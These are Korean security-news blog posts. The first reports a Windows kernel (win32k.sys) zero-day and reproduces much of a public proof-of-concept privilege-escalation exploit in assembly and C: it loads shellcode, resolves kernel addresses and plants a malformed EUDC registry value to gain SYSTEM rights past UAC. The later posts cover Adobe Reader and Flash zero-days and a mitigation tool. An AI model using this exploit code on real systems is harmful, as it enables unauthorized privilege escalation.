지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

  1. Introduction
  2.  
  3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
  4.  
  5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
  6. Using the code
  7.  
  8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
  9. Collapse
  10. Collapse
  11.  
  12. .text:BF81BA91                 push    esi             ; Environment
  13. .text:BF81BA92                 push    esi             ; Context
  14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
  15. .text:BF81BA98                 push    edi             ; Path
  16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
  17. .text:BF81BA9C                 push    esi             ; RelativeTo
  18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
  19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
  20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
  21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
  22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
  23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
  24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
  25. .text:BF81BACE                 mov     dword_BFA198FC, esi
  26. .text:BF81BAD4                 mov     dword_BFA19900, esi
  27. .text:BF81BADA                 mov     dword_BFA19904, esi
  28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
  29. .text:BF81BAE6                 mov     [ebp+var_8], eax
  30.  
  31. Stack trace shows the calling process is as follows:
  32.  
  33. GDI32.EnableEUDC ->
  34. NtGdiEnableEudc ->
  35. GreEnableEUDC ->
  36. sub_BF81B3B4 ->
  37. sub_BF81BA0B ->
  38. RtlQueryRegistryValues (Overflow occurs)
  39.  
  40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
  41. Collapse
  42. Collapse
  43.  
  44. // Allocate buffer for the driver
  45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
  47.  
  48. BYTE* pMem;            // shellcode
  49. DWORD ExpSize = 0;
  50.  
  51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
  52.  
  53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
  55.  
  56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
  57.  
  58. ExpSize = 0x28;
  59.  
  60.  
  61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
  62. Collapse
  63. Collapse
  64.  
  65. // Get the running kernel file name
  66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
  67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
  68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
  69. ULONG AllocSize = 0;
  70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  71.  
  72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
  73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
  75.  
  76. //Relocation to the running kernel base
  77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
  78.  
  79. free(pModInfo);
  80.  
  81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
  82. // so we need a valid pool address to avoid BSOD.
  83.  
  84. if(vi.dwBuildNumber < 7600)    
  85. {
  86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
  87.  
  88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
  89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
  90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
  91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  92.  
  93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
  94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  95.  
  96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
  97.     {
  98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
  99.         {
  100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
  101.             break;
  102.         }
  103.     }
  104.     free(pHandleInfo);
  105. }
  106. else
  107. {
  108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
  109. }
  110.  
  111. // Now fills the API addresses needed
  112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
  113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
  114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
  115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
  116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
  117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
  118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
  119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
  120. FreeLibrary(hKernel);
  121.  
  122. // Here we tell the shellcode(PE loader) where the driver buffer is.
  123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
  124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
  125.  
  126.  
  127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
  128. Collapse
  129. Collapse
  130.  
  131. UINT codepage = GetACP();
  132. TCHAR tmpstr[256];
  133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
  134. HKEY hKey;
  135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
  136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  137.  
  138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
  139.  
  140. __try
  141. {
  142.     EnableEUDC(TRUE);    
  143. }
  144. __except(1)
  145. {
  146. }
  147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  148. RegCloseKey(hKey);
  149.  
  150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
  151. Points of Interest
  152.  
  153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
  154. Additional Information
  155.  
  156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
  157. Windows Vista/2008 6.1.6000 x32,
  158. Windows Vista/2008 6.1.6001 x32,
  159. Windows 7 6.2.7600 x32,
  160. Windows 7/2008 R2 6.2.7600 x64.
  161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



감사합니다.

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    최근 아도브의 리더에서 제로데이 취약점이 발견되어 소개해 드린 적이 있습니다. 이에 대한 자세한 사항은 아래 링크를 참고하십시오.


    지난 월요일 아도브에서는 플래시 플레이어에 제로데이 취약점이 발견되었으며, 실제로 공격이 이뤄지는 사례가 있다고 알려왔습니다. 이 취약점은 CVE-2010-2884로 명명되었습니다.

    이 취약점은 아도브 플래시 플레이어 10.1.82.76 버전 및 하위 버전에서 발생하고 있으며, 윈도우 뿐만 아니라 맥, 리눅스, 솔라리스, 안드로이드까지 다양한 운영체제를 포함하고 있습니다.

    또한 이 취약점은 아도브 리더의 최신버전 및 하위버전에 영향을 미치고 있으며, 윈도우, 맥 운영체제 제품에서도 존재합니다.

    아도브는 9월 27일 경에 이 문제점을 해결하기 위한 패치를 제공할 예정이라고 합니다. 참고로, 아도브 리더에서 발생한 문제점은 10월 4일 패치 예정입니다.

    취약점에 대한 자세한 사항은 아래 링크를 참고하십시오.



    감사합니다.
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      최근 아크로뱃 리더의 거듭된 제로데이 취약점으로 문제가 많이 발생하고 있습니다. 가장 최근에 발생한 뉴스는 아래 링크를 참고하십시오.

      마이크로소프트는 아도브에서 개발하는 아크로뱃 및 리더 프로그램의 보안 취약점을 노린 제로데이 공격을 예방할 수 있는 툴킷을 발표했습니다.

      지난 금요일에 마이크로소프트가 발표한 권고안에 따르면 EMET(Enhanced Mitigation Experience) 2.0이 이러한 위협을 차단할 수 있다고 하였으며, 아직까지 아도브에서는 별다른 언급을 하지 않고 있습니다.


      권고안에 언급된 주요한 사항을 살펴보면 다음과 같으며, 보다 자세한 사항은 하단 부의 참고자료를 참조하십시오.

      아도브 관련된 취약점을 예방하기 위해 EMET을 사용하기 위해서는 먼저 EMET을 설치해야 합니다. 단, 설치 시에는 관리자 권한이 필요합니다. 64비트 운영체제가 아닌 경우에는 아도브 리더와 아크로뱃은 설치 경로가 다를 수도 있으므로
      주의해야 합니다.

      C:\Program Files (x86)\EMET>emet_conf.exe --add "c:\program files (x86)\Adobe\Reader 9.0\Reader\acrord32.exe"

      저장 후에는 프로그램을 재시작해야 할 경우도 있습니다.


      참고자료


      감사합니다.
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        인터넷 위협 중에서 가장 위험하다고 여겨지는 것이 바이러스가 아니라 아크로뱃 리더(Acrobat Reader)이다.  - from 문스랩닷컴


        아도브가 개발한 아크로뱃 리더는 아마도 가장 널리 사용되는 뷰어(viewer)이며, 외국에서는 거의 전자 문서의 표준 정도에 이를 정도입니다.

        최근 1-2년간에 아도브 리더/아크로뱃 제품에서 잇달아 취약점이 발견되고 있습니다. 그 중에서 가장 문제가 되는 부분이 바로 취약점을 이용하여 악성코드를 배포하는 바로 제로데이(0-day) 습성이기 때문입니다. 제로데이란 취약점이 알려진지 24시간 내에 이를 이용하는 악성코드가 출현한다는 것으로 그만큼 악성코드 제작자의 실력도 상향 평준화되었으며, 그에 반해 개발사나 보안 업체의 대응이 상대적으로 늦을 수 밖에 없다는 것을 말합니다.

        지난 9월 6일에는 아크로뱃 리더에 관련된 새로운 제로데이 취약점이 발견되어 알려졌습니다. 문제는 이 취약점을 이용하여 악성코드를 배포할 수 있는 실제 코드도 발표되었고, 취약점을 이용하여 교묘하게 조작된 PDF 문서를 첨부 파일로 넣은 스팸 메일이 실제로 발송되었다는 점입니다.

        문제가 발생한 아크로뱃 리더의 버전은 최신버전인 9.3.4까지 포함하는 것으로 알려져 있습니다. 또한 윈도우 운영체제 뿐만 아니라 매킨토스, 유닉스 운영체제까지 모든 제품에서 취약점이 발생합니다. 이 취약점은 CVE-2010-2883 이라고 명명되었으며, 이 취약점을 통해 해커는 피해자의 컴퓨터를 원격에서 조정할 수 있으며, 시스템을 손상시킬 수도 있습니다.

        아도브 사에서는 이 문제점의 심각성을 우려해서 인지 매우 빠르게 이에 대한 대응책을 발표했습니다.

        CVE-2010-2883에 대해 간략히 정리하면 다음과 같습니다.


        1. 취약점의 상세 내용

        cooltype.dll 파일의 0x0803dcf9 모듈에서 TTF 글꼴을 적절하게 파싱하지 못하는 문제점으로 인해 발생합니다. 이로 인해 DEP(Data Execution Protection, 데이터 실행 방지)까지 우회하는 것으로 알려져 있습니다.

        아크로뱃 리더에서는 AcroJS라는 자바스크립트가 사용되는데 이는 문서를 열 때 한번 실행되는 쉽게 말하면 자동실행 스크립트라고 보면 됩니다.



        2. 취약점을 이용하는 악성 코드 출현

        이 취약점을 이용하는 코드가 Metasploit Framework에서 발표되었으며, 이러한 발표로 인해 바이러스 및 스팸 제작자들이 쌍수를 들고 환영하고 있습니다.


        또한, 아래와 같이 악성 스크립트가 포함되어 있는 PDF 파일을 스팸 메일에 함께 보내어 감염을 시도하는 실제 사례도 많은 것으로 알려져 있습니다.

        <설명: 첨부에 포함된 PDF 문서>


        3. 아도브 사의 발표 내용

        아도브 사에서는 이 문제점에 대해 신속하게 권고안을 발표했습니다만, 아쉽게도 앞에서 설명했던 사항들을 나열하는 수준에 불과했습니다. 이 취약점은 심각성이 치명적(Critical)하다고 분류했으며, 현재 문제점을 해결하는 업데이트를 발표할 일정을 조율 중에 있다고 합니다.


        아크로뱃 리더는 계속 기능을 확장해 나가고 있습니다. 하지만, 그 기능에 맞게 그 만큼의 보안에 대해 충분한 검토가 없어 이와 같은 문제점이 나타나고 있습니다. 자바스크립트가 실행되는 한, 이러한 문제점은 계속 나올 것입니다.

        아마도 나중에는 샌드박스(Sandbox)와 같은 기능이 아크로뱃 리더 내에 포함될지도 모릅니다.

        감사합니다.

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          2009년 2월 19일, 전세계적으로 전자 문서의 표준으로 널리 사용되는 PDF 형식의 프로그램인 아크로뱃(PDF 생성 프로그램)과 아크로뱃 리더(읽기 전용 프로그램)에서 제로데이(0-Day) 취약점이 발표되었습니다.

          취약점은 아크로뱃/리더의 전 제품에 걸쳐 나타나고 있으며 자세한 제품은 아래와 같습니다.
          • 아크로뱃 7 프로페셔널
          • 아크로뱃 7.x
          • 아크로뱃 8 프로페셔널
          • 아크로뱃 8.x
          • 아크로뱃 9.x
          • 아크로뱃 리더 7.x
          • 아크로뱃 리더 8.x
          • 아크로뱃 리더 9.x
          이 취약점은 아주 치명적인(Extremely Critical) 것으로 분류되어 있으며, 아크로뱃/리더를 설치하여 운영할 수 있는 모든 운영체제에서 발생합니다. 

          취약점은 교묘하게 조작한 PDF 문서를 사용자가 열어 봄으로써 발생합니다. 조작된 PDF 문서에는 크래커가 삽입한 객체를 파싱하는 과정에서 메모리에 쓰여진 데이터를 의도적으로 조작한 코드로 덮어쓰기 하는 즉, 버퍼 오버플로 오류를 통해 이루어집니다.

          취약점은 heapspray라고 하는 자바 스크립트 메소드를 사용하여 진행됩니다.


          위의 그림에서 EAX 레지스터에 트로이 목마를 설치하는 악성 쉘 코드를 실행하는 메모리 주소를 가리키도록 조작합니다. 성공적으로 공격이 이루어지는 과정에서 원격 제어 및 감염된 시스템을 모니터링하기 위한 백도어가 설치됩니다.
           
          현재 이 취약점을 해결할 수 있는 패치나 대안이 없는 상태입니다. 또한 이 취약점을 이용하는 공격 코드가 인터넷 상에 출현한 상태입니다. 백도어의 특징 및 진단에 세부 사항은 아래 링크를 참고하십시오.

          http://vil.nai.com/vil/content/v_153842.htm

          더욱 우려되는 상황은 이 악성 코드의 출현으로 인해 새로운 다수의 변종이 출현할 수 있는 가능성이 존재합니다.

          따라서, 사용자는 컴퓨터에 설치된 안티 바이러스 제품의 업데이트를 반드시 확인하여 최신으로 유지해야 하며, 출처가 불분명한 PDF 문서는 열어 보아서는 안됩니다.

          출처:

          아도브 사는 3월 11일 경에 이 취약점에 대한 패치를 제공할 예정이라고 합니다.




           



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